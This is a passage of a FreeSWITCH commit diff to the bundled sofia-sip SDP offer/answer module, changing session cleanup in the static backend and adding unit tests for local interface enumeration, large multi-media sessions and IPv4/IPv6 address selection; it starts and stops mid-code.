-    ss->ss_previous_remote_version = 0;
-  }
+  *d = *ss->ss_local;
+  *ss->ss_local = *ss->ss_previous;
+  ss->ss_local_user_version = ss->ss_previous_user_version;
+  ss->ss_local_remote_version = ss->ss_previous_remote_version;
 
-  return soa_base_process_reject(ss, NULL);
+  memset(ss->ss_previous, 0, (sizeof *ss->ss_previous));
+  soa_description_free(ss, d);
+  su_free(ss->ss_home, sss->sss_previous.u2s), sss->sss_previous.u2s = NULL;
+  su_free(ss->ss_home, sss->sss_previous.s2u), sss->sss_previous.s2u = NULL;
+  ss->ss_previous_user_version = 0;
+  ss->ss_previous_remote_version = 0;
+
+  su_free(ss->ss_home, sss->sss_latest), sss->sss_latest = NULL;
+
+  return 0;
 }
 
 static int soa_static_activate(soa_session_t *ss, char const *option)
@@ -1500,6 +1551,19 @@
 
 static void soa_static_terminate(soa_session_t *ss, char const *option)
 {
-  soa_description_free(ss, ss->ss_user);
+  soa_static_session_t *sss = (soa_static_session_t *)ss;
+
+  soa_description_free(ss, ss->ss_local);
+  su_free(ss->ss_home, sss->sss_u2s), sss->sss_u2s = NULL;
+  su_free(ss->ss_home, sss->sss_s2u), sss->sss_s2u = NULL;
+
+  soa_description_free(ss, ss->ss_previous);
+  ss->ss_previous_user_version = 0;
+  ss->ss_previous_remote_version = 0;
+  su_free(ss->ss_home, sss->sss_previous.u2s), sss->sss_previous.u2s = NULL;
+  su_free(ss->ss_home, sss->sss_previous.s2u), sss->sss_previous.s2u = NULL;
+
+  su_free(ss->ss_home, sss->sss_latest), sss->sss_latest = NULL;
+
   soa_base_terminate(ss, option);
 }

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/soa/sofia-sip/soa_session.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/soa/sofia-sip/soa_session.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/soa/sofia-sip/soa_session.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -238,7 +238,11 @@
 SOFIAPUBFUN int soa_set_status(soa_session_t *ss,
 			       int status, char const *phrase);
 
-enum soa_activity { soa_activity_local, soa_activity_remote, soa_activity_session };
+enum soa_activity {
+  soa_activity_local,
+  soa_activity_remote,
+  soa_activity_session
+};
 
 SOFIAPUBFUN void soa_set_activity(soa_session_t *ss,
 				  sdp_media_t const *m,
@@ -259,9 +263,19 @@
 
 SOFIAPUBFUN int soa_init_sdp_origin(soa_session_t *ss,
 				    sdp_origin_t *o, char buf[64]);
+SOFIAPUBFUN int soa_init_sdp_origin_with_session(soa_session_t *ss,
+						 sdp_origin_t *o,
+						 char buffer[64],
+						 sdp_session_t const *sdp);
+SOFIAPUBFUN int soa_check_sdp_connection(sdp_connection_t const *c);
 SOFIAPUBFUN int soa_init_sdp_connection(soa_session_t *,
 					sdp_connection_t *, char buf[64]);
+SOFIAPUBFUN int soa_init_sdp_connection_with_session(soa_session_t *,
+						     sdp_connection_t *, char buf[64],
+						     sdp_session_t const *sdp);
 
+SOFIAPUBFUN sdp_connection_t *soa_find_local_sdp_connection(sdp_session_t const*);
+
 /* ====================================================================== */
 /* Debug log settings */
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/soa/test_soa.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/soa/test_soa.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/soa/test_soa.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -55,6 +55,10 @@
 #include <sofia-sip/su_log.h>
 #include <sofia-sip/sip_tag.h>
 
+#include <s2_localinfo.h>
+
+S2_LOCALINFO_STUBS();
+
 extern su_log_t soa_log[];
 
 char const name[] = "test_soa";
@@ -72,6 +76,98 @@
 
 #define NONE ((void*)-1)
 
+static char const *test_ifaces1[] = {
+  "eth0\0" "11.12.13.14\0" "2001:1508:1003::21a:a0ff:fe71:813\0" "fe80::21a:a0ff:fe71:813\0",
+  "eth1\0" "12.13.14.15\0" "2001:1508:1004::21a:a0ff:fe71:814\0" "fe80::21a:a0ff:fe71:814\0",
+  "eth2\0" "192.168.2.15\0" "fec0::21a:a0ff:fe71:815\0" "fe80::21a:a0ff:fe71:815\0",
+  "lo0\0" "127.0.0.1\0" "::1\0",
+  NULL
+};
+
+int test_localinfo_replacement(void)
+{
+  BEGIN();
+  su_localinfo_t *res, *li, hints[1];
+  int error, n;
+  struct results {
+    struct afresult { unsigned global, site, link, host; } ip6[1], ip4[1];
+  } results[1];
+
+  s2_localinfo_ifaces(test_ifaces1);
+
+  error = su_getlocalinfo(NULL, &res);
+  TEST(error, ELI_NOERROR);
+  TEST_1(res != NULL);
+  memset(results, 0, sizeof results);
+  for (li = res, n = 0; li; li = li->li_next) {
+    struct afresult *afr;
+    TEST_1(li->li_family == AF_INET || li->li_family == AF_INET6);
+    if (li->li_family == AF_INET)
+      afr = results->ip4;
+    else
+      afr = results->ip6;
+
+    if (li->li_scope == LI_SCOPE_GLOBAL)
+      afr->global++;
+    else if (li->li_scope == LI_SCOPE_SITE)
+      afr->site++;
+    else if (li->li_scope == LI_SCOPE_LINK)
+      afr->link++;
+    else if (li->li_scope == LI_SCOPE_HOST)
+      afr->host++;
+    n++;
+  }
+  TEST(n, 11);
+  TEST(results->ip4->global, 2);
+  TEST(results->ip4->site, 1);
+  TEST(results->ip4->link, 0);
+  TEST(results->ip4->host, 1);
+#if SU_HAVE_IN6
+  TEST(results->ip6->global, 2);
+  TEST(results->ip6->site, 1);
+  TEST(results->ip6->link, 3);
+  TEST(results->ip6->host, 1);
+#endif
+  su_freelocalinfo(res);
+
+  error = su_getlocalinfo(memset(hints, 0, sizeof hints), &res);
+  TEST(error, ELI_NOERROR);
+  TEST_1(res != NULL);
+  for (li = res, n = 0; li; li = li->li_next)
+    n++;
+  TEST(n, 11);
+  su_freelocalinfo(res);
+
+  hints->li_flags = LI_CANONNAME;
+
+  error = su_getlocalinfo(hints, &res);
+  TEST(error, ELI_NOERROR);
+  TEST_1(res != NULL);
+  for (li = res, n = 0; li; li = li->li_next) {
+    TEST_1(li->li_canonname != NULL);
+    n++;
+  }
+  TEST(n, 11);
+  su_freelocalinfo(res);
+
+  hints->li_flags = LI_IFNAME | LI_CANONNAME;
+  hints->li_ifname = "eth1";
+
+  error = su_getlocalinfo(hints, &res);
+  TEST(error, ELI_NOERROR);
+  TEST_1(res != NULL);
+  for (li = res, n = 0; li; li = li->li_next) {
+    TEST_1(li->li_canonname != NULL);
+    TEST_S(li->li_ifname, "eth1");
+    n++;
+  }
+  TEST(n, 3);
+  su_freelocalinfo(res);
+
+  END();
+}
+/* ========================================================================= */
+
 struct context
 {
   su_home_t home[1];
@@ -1782,6 +1878,175 @@
 }
 
 
+int test_large_sessions(struct context *ctx)
+{
+  BEGIN();
+  int n;
+
+  soa_session_t *a, *b;
+
+  char const *offer = NONE, *answer = NONE;
+  isize_t offerlen = (isize_t)-1, answerlen = (isize_t)-1;
+
+  sdp_session_t const *a_sdp, *b_sdp;
+  sdp_media_t const *m;
+
+  char const a_caps[] =
+    "v=0\r\n"
+    "o=a 432432423423 2 IN IP4 127.0.0.2\r\n"
+    "c=IN IP4 127.0.0.2\r\n"
+    "m=image 5556 UDPTL t38\r\n"
+    "m=audio 5004 RTP/AVP 0 8\n"
+    ;
+
+  char const a_caps2[] =
+    "v=0\r\n"
+    "o=a 432432423423 2 IN IP4 127.0.0.2\r\n"
+    "c=IN IP4 127.0.0.2\r\n"
+    "m=image 5556 UDPTL t38\r\n"
+    "m=audio 5004 RTP/AVP 0\n"
+    "m=audio1 5006 RTP/AVP 8\n"
+    "m=audio2 5008 RTP/AVP 3\n"
+    "m=audio3 5010 RTP/AVP 9\n"
+    "m=audio4 5010 RTP/AVP 15\n"
+    ;
+
+  char const b_caps[] =
+    "v=0\r\n"
+    "o=left 219498671 2 IN IP4 127.0.0.2\r\n"
+    "c=IN IP4 127.0.0.2\r\n"
+    "m=audio 5008 RTP/AVP 0 8\r\n"
+    ;
+
+  char const b_caps2[] =
+    "v=0\r\n"
+    "o=left 219498671 2 IN IP4 127.0.0.2\r\n"
+    "c=IN IP4 127.0.0.2\r\n"
+    "m=audio 5008 RTP/AVP 0 8\r\n"
+    "m=image 5008 UDPTL t38\r\n"
+    "m=audio00 5008 RTP/AVP 0 8\r\n"
+    "m=audio01 5006 RTP/AVP 8\n"
+    "m=audio02 5008 RTP/AVP 3\n"
+    "m=audio03 5010 RTP/AVP 9\n"
+    "m=audio04 5010 RTP/AVP 15\n"
+    ;
+
+  TEST_1(a = soa_create("static", ctx->root, ctx));
+  TEST_1(b = soa_create("static", ctx->root, ctx));
+
+  TEST_1(soa_set_params(a, SOATAG_ORDERED_USER(1),
+			TAG_END()) > 0);
+  TEST_1(soa_set_params(b, SOATAG_ORDERED_USER(1),
+			TAG_END()) > 0);
+
+  TEST(soa_set_user_sdp(a, 0, a_caps, strlen(a_caps)), 1);
+  TEST(soa_set_user_sdp(b, 0, b_caps, strlen(b_caps)), 1);
+
+  n = soa_generate_offer(a, 1, test_completed); TEST(n, 0);
+  n = soa_get_local_sdp(a, NULL, &offer, &offerlen); TEST(n, 1);
+  TEST_1(offer != NULL && offer != NONE);
+  /* printf("offer1: %s\n", offer); */
+  n = soa_set_remote_sdp(b, 0, offer, offerlen); TEST(n, 1);
+  n = soa_get_local_sdp(b, NULL, &answer, &answerlen); TEST(n, 0);
+  n = soa_generate_answer(b, test_completed); TEST(n, 0);
+  n = soa_get_local_sdp(b, &b_sdp, &answer, &answerlen); TEST(n, 1);
+  TEST_1(answer != NULL && answer != NONE);
+  /* printf("answer1: %s\n", answer); */
+  n = soa_set_remote_sdp(a, 0, answer, -1); TEST(n, 1);
+  n = soa_process_answer(a, test_completed); TEST(n, 0);
+
+  n = soa_get_local_sdp(a, &a_sdp, NULL, NULL); TEST(n, 1);
+
+  TEST_1(soa_is_complete(b));
+  TEST(soa_activate(b, NULL), 0);
+
+  TEST_1(soa_is_complete(a));
+  TEST(soa_activate(a, NULL), 0);
+
+  TEST(soa_is_audio_active(a), SOA_ACTIVE_SENDRECV);
+  TEST(soa_is_remote_audio_active(a), SOA_ACTIVE_SENDRECV);
+
+  TEST_1(a_sdp->sdp_media);
+  TEST_1(a_sdp->sdp_media->m_type == sdp_media_image);
+  TEST_1(a_sdp->sdp_media->m_next);
+  TEST_1(a_sdp->sdp_media->m_next->m_type == sdp_media_audio);
+
+  /* ---------------------------------------------------------------------- */
+  /* Re-O/A - activate image, add incompatible m= lines */
+
+  TEST_1(soa_set_params(b, SOATAG_RTP_MISMATCH(0),
+			SOATAG_USER_SDP_STR(b_caps2),
+			SOATAG_REUSE_REJECTED(1),
+			TAG_END()) > 0);
+
+  n = soa_generate_offer(b, 1, test_completed); TEST(n, 0);
+  n = soa_get_local_sdp(b, &b_sdp, &offer, &offerlen); TEST(n, 1);
+  TEST_1(offer != NULL && offer != NONE);
+  n = soa_set_remote_sdp(a, 0, offer, offerlen); TEST(n, 1);
+  /* printf("offer2: %s\n", offer); */
+
+  n = soa_generate_answer(a, test_completed); TEST(n, 0);
+  n = soa_get_local_sdp(a, &a_sdp, &answer, &answerlen); TEST(n, 1);
+  TEST_1(answer != NULL && answer != NONE);
+  /* printf("answer2: %s\n", answer); */
+  n = soa_set_remote_sdp(b, 0, answer, -1); TEST(n, 1);
+  n = soa_process_answer(b, test_completed); TEST(n, 0);
+  n = soa_get_local_sdp(b, &b_sdp, NULL, NULL); TEST(n, 1);
+
+  TEST_1(soa_is_complete(a));
+  TEST(soa_activate(a, NULL), 0);
+
+  TEST_1(soa_is_complete(b));
+  TEST(soa_activate(b, NULL), 0);
+
+  TEST_1(m = a_sdp->sdp_media);
+  TEST(m->m_type, sdp_media_image); TEST(m->m_proto, sdp_proto_udptl);
+  TEST_1(m->m_format); TEST_S(m->m_format->l_text, "t38");
+
+  TEST_1(m = b_sdp->sdp_media);
+  TEST(m->m_type, sdp_media_image); TEST(m->m_proto, sdp_proto_udptl);
+  TEST_1(m->m_format); TEST_S(m->m_format->l_text, "t38");
+
+  TEST(soa_is_audio_active(a), SOA_ACTIVE_SENDRECV);
+  TEST(soa_is_remote_audio_active(a), SOA_ACTIVE_SENDRECV);
+
+  /* 2nd re-offer */
+  /* Add even more incompatible lines */
+  TEST_1(soa_set_params(a, SOATAG_RTP_MISMATCH(0),
+			SOATAG_USER_SDP_STR(a_caps2),
+			TAG_END()) > 0);
+
+  n = soa_generate_offer(a, 1, test_completed); TEST(n, 0);
+  n = soa_get_local_sdp(a, NULL, &offer, &offerlen); TEST(n, 1);
+  TEST_1(offer != NULL && offer != NONE);
+  /* printf("offer3: %s\n", offer); */
+  n = soa_set_remote_sdp(b, 0, offer, offerlen); TEST(n, 1);
+  n = soa_get_local_sdp(b, NULL, &answer, &answerlen); TEST(n, 1);
+  n = soa_generate_answer(b, test_completed); TEST(n, 0);
+  n = soa_get_local_sdp(b, &b_sdp, &answer, &answerlen); TEST(n, 1);
+  TEST_1(answer != NULL && answer != NONE);
+  /* printf("answer3: %s\n", answer); */
+  n = soa_set_remote_sdp(a, 0, answer, -1); TEST(n, 1);
+  n = soa_process_answer(a, test_completed); TEST(n, 0);
+
+  n = soa_get_local_sdp(a, &a_sdp, NULL, NULL); TEST(n, 1);
+
+  TEST_1(soa_is_complete(b));
+  TEST(soa_activate(b, NULL), 0);
+
+  TEST_1(soa_is_complete(a));
+  TEST(soa_activate(a, NULL), 0);
+
+  TEST_VOID(soa_terminate(a, NULL));
+  TEST_VOID(soa_terminate(b, NULL));
+
+  TEST_VOID(soa_destroy(a));
+  TEST_VOID(soa_destroy(b));
+
+  END();
+}
+
+
 int test_asynch_offer_answer(struct context *ctx)
 {
   BEGIN();
@@ -1871,6 +2136,463 @@
   END();
 }
 
+#define TEST_OC_ADDRESS(s, address, ip)		\
+  TEST(test_address_in_offer(s, address, sdp_addr_ ## ip, address, sdp_addr_ ## ip), 0);
+
+static int
+test_address_in_offer(soa_session_t *ss,
+		      char const *o_address,
+		      int o_addrtype,
+		      char const *c_address,
+		      int c_addrtype)
+{
+  sdp_session_t const *sdp = NULL;
+  sdp_connection_t const *c;
+
+  TEST(soa_get_local_sdp(ss, &sdp, NULL, NULL), 1);
+  TEST_1(sdp != NULL);
+  TEST_1(c = sdp->sdp_connection);
+  TEST(c->c_nettype, sdp_net_in);
+  if (c_addrtype) TEST(c->c_addrtype, c_addrtype);
+  if (c_address) TEST_S(c->c_address, c_address);
+
+  TEST_1(c = sdp->sdp_origin->o_address);
+  TEST(c->c_nettype, sdp_net_in);
+  if (o_addrtype) TEST(c->c_addrtype, o_addrtype);
+  if (o_address) TEST_S(c->c_address, o_address);
+
+  return 0;
+}
+
+/** This tests the IP address selection logic.
+ *
+ * The IP address is selected based on the SOATAG_AF() preference,
+ * SOATAG_ADDRESS(), and locally obtained address list.
+ */
+int test_address_selection(struct context *ctx)
+{
+  BEGIN();
+  int n;
+
+  static char const *ifaces1[] = {
+    "eth2\0" "192.168.2.15\0" "fec0::21a:a0ff:fe71:815\0" "fe80::21a:a0ff:fe71:815\0",
+    "eth0\0" "11.12.13.14\0" "2001:1508:1003::21a:a0ff:fe71:813\0" "fe80::21a:a0ff:fe71:813\0",
+    "eth1\0" "12.13.14.15\0" "2001:1508:1004::21a:a0ff:fe71:814\0" "fe80::21a:a0ff:fe71:814\0",
+    "lo0\0" "127.0.0.1\0" "::1\0",
+    NULL
+  };
+
+  static char const *ifaces_ip6only[] = {
+    "eth2\0" "fec0::21a:a0ff:fe71:815\0" "fe80::21a:a0ff:fe71:815\0",
+    "eth0\0" "2001:1508:1003::21a:a0ff:fe71:813\0" "fe80::21a:a0ff:fe71:813\0",
+    "eth1\0" "2001:1508:1004::21a:a0ff:fe71:814\0" "fe80::21a:a0ff:fe71:814\0",
+    "lo0\0" "127.0.0.1\0" "::1\0",
+    NULL
+  };
+
+  static char const *ifaces_ip4only[] = {
+    "eth2\0" "192.168.2.15\0" "fe80::21a:a0ff:fe71:815\0",
+    "eth0\0" "11.12.13.14\0" "fe80::21a:a0ff:fe71:813\0",
+    "eth1\0" "12.13.14.15\0" "fe80::21a:a0ff:fe71:814\0",
+    "lo0\0" "127.0.0.1\0" "::1\0",
+    NULL
+  };
+
+  soa_session_t *a, *b;
+  sdp_origin_t *o;
+
+  su_home_t home[1] = { SU_HOME_INIT(home) };
+
+  s2_localinfo_ifaces(ifaces1);
+
+  TEST_1(a = soa_clone(ctx->a, ctx->root, ctx));
+
+  /* SOATAG_AF(SOA_AF_IP4_ONLY) => select IP4 address */
+  n = soa_set_params(a, SOATAG_AF(SOA_AF_IP4_ONLY), TAG_END());
+  n = soa_set_user_sdp(a, 0, "m=audio 5008 RTP/AVP 0 8", -1); TEST(n, 1);
+  n = soa_generate_offer(a, 1, test_completed); TEST(n, 0);
+  TEST_OC_ADDRESS(a, "11.12.13.14", ip4);
+  /* Should flush the session */
+  TEST_VOID(soa_process_reject(a, NULL));
+
+  /* SOATAG_AF(SOA_AF_IP6_ONLY) => select IP6 address */
+  n = soa_set_params(a, SOATAG_AF(SOA_AF_IP6_ONLY), TAG_END());
+  n = soa_generate_offer(a, 1, test_completed); TEST(n, 0);
+  TEST_OC_ADDRESS(a, "2001:1508:1003::21a:a0ff:fe71:813", ip6);
+  TEST_VOID(soa_terminate(a, NULL));
+
+  /* SOATAG_AF(SOA_AF_IP4_IP6) => select IP4 address */
+  n = soa_set_params(a, SOATAG_AF(SOA_AF_IP4_IP6), TAG_END());
+  n = soa_generate_offer(a, 1, test_completed); TEST(n, 0);
+  TEST_OC_ADDRESS(a, "11.12.13.14", ip4);
+  TEST_VOID(soa_process_reject(a, NULL));
+
+  /* SOATAG_AF(SOA_AF_IP6_IP4) => select IP6 address */
+  n = soa_set_params(a, SOATAG_AF(SOA_AF_IP6_IP4), TAG_END());
+  n = soa_generate_offer(a, 1, test_completed); TEST(n, 0);
+  TEST_OC_ADDRESS(a, "2001:1508:1003::21a:a0ff:fe71:813", ip6);
+  TEST_VOID(soa_terminate(a, NULL));
+
+  /* SOATAG_AF(SOA_AF_IP4_IP6) but session mentions IP6 => select IP6  */
+  n = soa_set_params(a, SOATAG_AF(SOA_AF_IP4_IP6), TAG_END());
+  n = soa_set_user_sdp(a, 0, "c=IN IP6 ::\r\nm=audio 5008 RTP/AVP 0 8", -1); TEST(n, 1);
+  n = soa_generate_offer(a, 1, test_completed); TEST(n, 0);
+  TEST_OC_ADDRESS(a, "2001:1508:1003::21a:a0ff:fe71:813", ip6);
+  TEST_VOID(soa_terminate(a, NULL));
+
+  /* SOATAG_AF(SOA_AF_IP4_IP6), o= mentions IP6 => select IP4  */
+  n = soa_set_user_sdp(a, 0, "o=- 1 1 IN IP6 ::\r\n"
+		       "m=audio 5008 RTP/AVP 0 8", -1); TEST(n, 1);
+  n = soa_generate_offer(a, 1, test_completed); TEST(n, 0);
+  TEST_OC_ADDRESS(a, "11.12.13.14", ip4);
+  TEST_VOID(soa_process_reject(a, NULL));
+
+  /* SOATAG_AF(SOA_AF_IP4_IP6), c= uses non-local IP6
+     => select local IP6 on o=  */
+  n = soa_set_user_sdp(a, 0,
+		       "c=IN IP6 2001:1508:1004::21a:a0ff:fe71:819\r\n"
+		       "m=audio 5008 RTP/AVP 0 8", -1);
+  TEST(n, 1);
+  n = soa_generate_offer(a, 1, test_completed); TEST(n, 0);
+  TEST(test_address_in_offer(a,
+			     /* o= has local address */
+			     "2001:1508:1003::21a:a0ff:fe71:813", sdp_addr_ip6,
+			     /* c= has sdp-provided address */
+			     "2001:1508:1004::21a:a0ff:fe71:819", sdp_addr_ip6), 0);
+  TEST_VOID(soa_terminate(a, NULL));
+
+  /* SOATAG_AF(SOA_AF_IP4_ONLY), no IP4 addresses  */
+  s2_localinfo_ifaces(ifaces_ip6only);
+  n = soa_set_params(a, SOATAG_AF(SOA_AF_IP4_ONLY), TAG_END());
+  n = soa_set_user_sdp(a, 0, "m=audio 5008 RTP/AVP 0 8", -1);
+  TEST(soa_generate_offer(a, 1, test_completed), -1);
+
+  /* Retry with IP6 enabled */
+  n = soa_set_params(a, SOATAG_AF(SOA_AF_IP4_IP6), TAG_END());
+  TEST(soa_generate_offer(a, 1, test_completed), 0);
+  TEST_OC_ADDRESS(a, "2001:1508:1003::21a:a0ff:fe71:813", ip6);
+  TEST_VOID(soa_terminate(a, NULL));
+
+  /* SOATAG_AF(SOA_AF_IP6_ONLY), no IP6 addresses  */
+  s2_localinfo_ifaces(ifaces_ip4only);
+  n = soa_set_params(a, SOATAG_AF(SOA_AF_IP6_ONLY), TAG_END());
+  TEST(soa_generate_offer(a, 1, test_completed), -1); /* should fail */
+  TEST_VOID(soa_terminate(a, NULL));
+
+  /* SOATAG_AF(SOA_AF_IP4_ONLY), no IP4 addresses  */
+  s2_localinfo_ifaces(ifaces_ip6only);
+  n = soa_set_params(a, SOATAG_AF(SOA_AF_IP4_ONLY), TAG_END());
+  TEST(soa_generate_offer(a, 1, test_completed), -1); /* should fail */
+  TEST_VOID(soa_terminate(a, NULL));
+
+  /* Select locally available address from the SOATAG_ADDRESS() list */
+  s2_localinfo_ifaces(ifaces1);
+  n = soa_set_params(a, SOATAG_AF(SOA_AF_IP4_IP6),
+		     SOATAG_ADDRESS("test.com 17.18.19.20 12.13.14.15"),
+		     TAG_END());
+  n = soa_generate_offer(a, 1, test_completed); TEST(n, 0);
+  TEST_OC_ADDRESS(a, "12.13.14.15", ip4);
+  TEST_VOID(soa_process_reject(a, NULL));
+
+  /* Select locally available IP6 address from the SOATAG_ADDRESS() list */
+  n = soa_set_params(a, SOATAG_AF(SOA_AF_IP6_IP4),
+		     SOATAG_ADDRESS("test.com 12.13.14.15 fec0::21a:a0ff:fe71:815"),
+		     TAG_END());
+  n = soa_generate_offer(a, 1, test_completed); TEST(n, 0);
+  TEST_OC_ADDRESS(a, "fec0::21a:a0ff:fe71:815", ip6);
+  TEST_VOID(soa_process_reject(a, NULL));
+
+  /* Select first available address from the SOATAG_ADDRESS() list */
+  n = soa_set_params(a, SOATAG_AF(SOA_AF_ANY),
+		     SOATAG_ADDRESS("test.com 12.13.14.15 fec0::21a:a0ff:fe71:815"),
+		     TAG_END());
+  n = soa_generate_offer(a, 1, test_completed); TEST(n, 0);
+  TEST_OC_ADDRESS(a, "12.13.14.15", ip4);
+  TEST_VOID(soa_process_reject(a, NULL));
+
+  /* Select preferred address from the SOATAG_ADDRESS() list */
+  s2_localinfo_ifaces(ifaces1);
+  n = soa_set_params(a, SOATAG_AF(SOA_AF_IP4_IP6),
+		     SOATAG_ADDRESS("test.com fec0::22a:a0ff:fe71:815 19.18.19.20"),
+		     TAG_END());
+  n = soa_generate_offer(a, 1, test_completed); TEST(n, 0);
+  TEST_OC_ADDRESS(a, "19.18.19.20", ip4);
+  TEST_VOID(soa_process_reject(a, NULL));
+
+  /* Select preferred address from the SOATAG_ADDRESS() list */
+  s2_localinfo_ifaces(ifaces1);
+  n = soa_set_params(a, SOATAG_AF(SOA_AF_IP6_IP4),
+		     SOATAG_ADDRESS("test.com 19.18.19.20 fec0::22a:a0ff:fe71:815 fec0::22a:a0ff:fe71:819"),
+		     TAG_END());
+  n = soa_generate_offer(a, 1, test_completed); TEST(n, 0);
+  TEST_OC_ADDRESS(a, "fec0::22a:a0ff:fe71:815", ip6);
+  TEST_VOID(soa_process_reject(a, NULL));
+
+  TEST_VOID(soa_destroy(a));
+
+  (void)b; (void)o;
+#if 0
+  TEST_1(b = soa_clone(ctx->b, ctx->root, ctx));
+
+  n = soa_set_remote_sdp(b, 0, offer, offerlen); TEST(n, 1);
+
+  n = soa_get_local_sdp(b, NULL, &answer, &answerlen); TEST(n, 0);
+
+  n = soa_set_params(b,
+		     SOATAG_LOCAL_SDP_STR("m=audio 5004 RTP/AVP 8"),
+		     SOATAG_AF(SOA_AF_IP4_ONLY),
+		     SOATAG_ADDRESS("1.2.3.4"),
+		     TAG_END());
+
+  n = soa_generate_answer(b, test_completed); TEST(n, 0);
+
+  TEST_1(soa_is_complete(b));
+  TEST(soa_activate(b, NULL), 0);
+
+  n = soa_get_local_sdp(b, NULL, &answer, &answerlen); TEST(n, 1);
+  TEST_1(answer != NULL && answer != NONE);
+  TEST_1(strstr(answer, "c=IN IP4 1.2.3.4"));
+
+  n = soa_set_remote_sdp(a, 0, answer, -1); TEST(n, 1);
+
+  n = soa_process_answer(a, test_completed); TEST(n, 0);
+
+  TEST_1(soa_is_complete(a));
+  TEST(soa_activate(a, NULL), 0);
+
+  TEST(soa_is_audio_active(a), SOA_ACTIVE_SENDRECV);
+  TEST(soa_is_video_active(a), SOA_ACTIVE_DISABLED);
+  TEST(soa_is_image_active(a), SOA_ACTIVE_DISABLED);
+  TEST(soa_is_chat_active(a), SOA_ACTIVE_DISABLED);
+
+  TEST(soa_is_remote_audio_active(a), SOA_ACTIVE_SENDRECV);
+  TEST(soa_is_remote_video_active(a), SOA_ACTIVE_DISABLED);
+  TEST(soa_is_remote_image_active(a), SOA_ACTIVE_DISABLED);
+  TEST(soa_is_remote_chat_active(a), SOA_ACTIVE_DISABLED);
+
+  /* 'A' will put call on hold */
+  offer = NONE;
+  TEST(soa_set_params(a, SOATAG_HOLD("*"), TAG_END()), 1);
+
+  TEST(soa_generate_offer(a, 1, test_completed), 0);
+  TEST(soa_get_local_sdp(a, NULL, &offer, &offerlen), 1);
+  TEST_1(offer != NULL && offer != NONE);
+  TEST_1(strstr(offer, "a=sendonly"));
+  TEST(soa_set_remote_sdp(b, 0, offer, offerlen), 1);
+  TEST(soa_generate_answer(b, test_completed), 0);
+  TEST_1(soa_is_complete(b));
+  TEST(soa_activate(b, NULL), 0);
+  TEST(soa_get_local_sdp(b, NULL, &answer, &answerlen), 1);
+  TEST_1(answer != NULL && answer != NONE);
+  TEST_1(strstr(answer, "a=recvonly"));
+  TEST(soa_set_remote_sdp(a, 0, answer, -1), 1);
+  TEST(soa_process_answer(a, test_completed), 0);
+  TEST(soa_activate(a, NULL), 0);
+
+  TEST(soa_is_audio_active(a), SOA_ACTIVE_SENDONLY);
+  TEST(soa_is_remote_audio_active(a), SOA_ACTIVE_SENDONLY);
+
+  /* 'A' will put call inactive */
+  offer = NONE;
+  TEST(soa_set_params(a, SOATAG_HOLD("#"), TAG_END()), 1);
+
+  TEST(soa_generate_offer(a, 1, test_completed), 0);
+  TEST(soa_get_local_sdp(a, NULL, &offer, &offerlen), 1);
+  TEST_1(offer != NULL && offer != NONE);
+  TEST_1(strstr(offer, "a=inactive"));
+  TEST(soa_set_remote_sdp(b, 0, offer, offerlen), 1);
+  TEST(soa_generate_answer(b, test_completed), 0);
+  TEST_1(soa_is_complete(b));
+  TEST(soa_activate(b, NULL), 0);
+  TEST(soa_get_local_sdp(b, NULL, &answer, &answerlen), 1);
+  TEST_1(answer != NULL && answer != NONE);
+  TEST_1(strstr(answer, "a=inactive"));
+  TEST(soa_set_remote_sdp(a, 0, answer, -1), 1);
+  TEST(soa_process_answer(a, test_completed), 0);
+  TEST(soa_activate(a, NULL), 0);
+
+  TEST(soa_is_audio_active(a), SOA_ACTIVE_INACTIVE);
+  TEST(soa_is_remote_audio_active(a), SOA_ACTIVE_INACTIVE);
+
+  /* B will send an offer to A, but there is no change in O/A status */
+  TEST(soa_generate_offer(b, 1, test_completed), 0);
+  TEST(soa_get_local_sdp(b, NULL, &offer, &offerlen), 1);
+  TEST_1(offer != NULL && offer != NONE);
+  TEST_1(!strstr(offer, "a=inactive"));
+  /* printf("offer:\n%s", offer); */
+  TEST(soa_set_remote_sdp(a, 0, offer, offerlen), 1);
+  TEST(soa_is_remote_audio_active(a), SOA_ACTIVE_SENDRECV);
+  TEST(soa_generate_answer(a, test_completed), 0);
+  TEST(soa_is_audio_active(a), SOA_ACTIVE_INACTIVE);
+  TEST(soa_is_remote_audio_active(a), SOA_ACTIVE_INACTIVE);
+  TEST_1(soa_is_complete(a));
+  TEST(soa_activate(a, NULL), 0);
+  TEST(soa_get_local_sdp(a, NULL, &answer, &answerlen), 1);
+  TEST_1(answer != NULL && answer != NONE);
+  TEST_1(strstr(answer, "a=inactive"));
+  /* printf("answer:\n%s", answer); */
+  TEST(soa_set_remote_sdp(b, 0, answer, -1), 1);
+  TEST(soa_process_answer(b, test_completed), 0);
+  TEST(soa_activate(b, NULL), 0);
+
+
+  TEST(soa_is_audio_active(b), SOA_ACTIVE_INACTIVE);
+  TEST(soa_is_remote_audio_active(b), SOA_ACTIVE_INACTIVE);
+
+  /* 'A' will release hold. */
+  TEST(soa_set_params(a, SOATAG_HOLD(NULL), TAG_END()), 1);
+
+  TEST(soa_generate_offer(a, 1, test_completed), 0);
+  TEST(soa_get_local_sdp(a, NULL, &offer, &offerlen), 1);
+  TEST_1(offer != NULL && offer != NONE);
+  TEST_1(!strstr(offer, "a=sendonly") && !strstr(offer, "a=inactive"));
+  TEST(soa_set_remote_sdp(b, 0, offer, offerlen), 1);
+  TEST(soa_generate_answer(b, test_completed), 0);
+  TEST_1(soa_is_complete(b));
+  TEST(soa_activate(b, NULL), 0);
+  TEST(soa_get_local_sdp(b, NULL, &answer, &answerlen), 1);
+  TEST_1(answer != NULL && answer != NONE);
+  TEST_1(!strstr(answer, "a=recvonly") && !strstr(answer, "a=inactive"));
+  TEST(soa_set_remote_sdp(a, 0, answer, -1), 1);
+  TEST(soa_process_answer(a, test_completed), 0);
+  TEST(soa_activate(a, NULL), 0);
+
+  TEST(soa_is_audio_active(a), SOA_ACTIVE_SENDRECV);
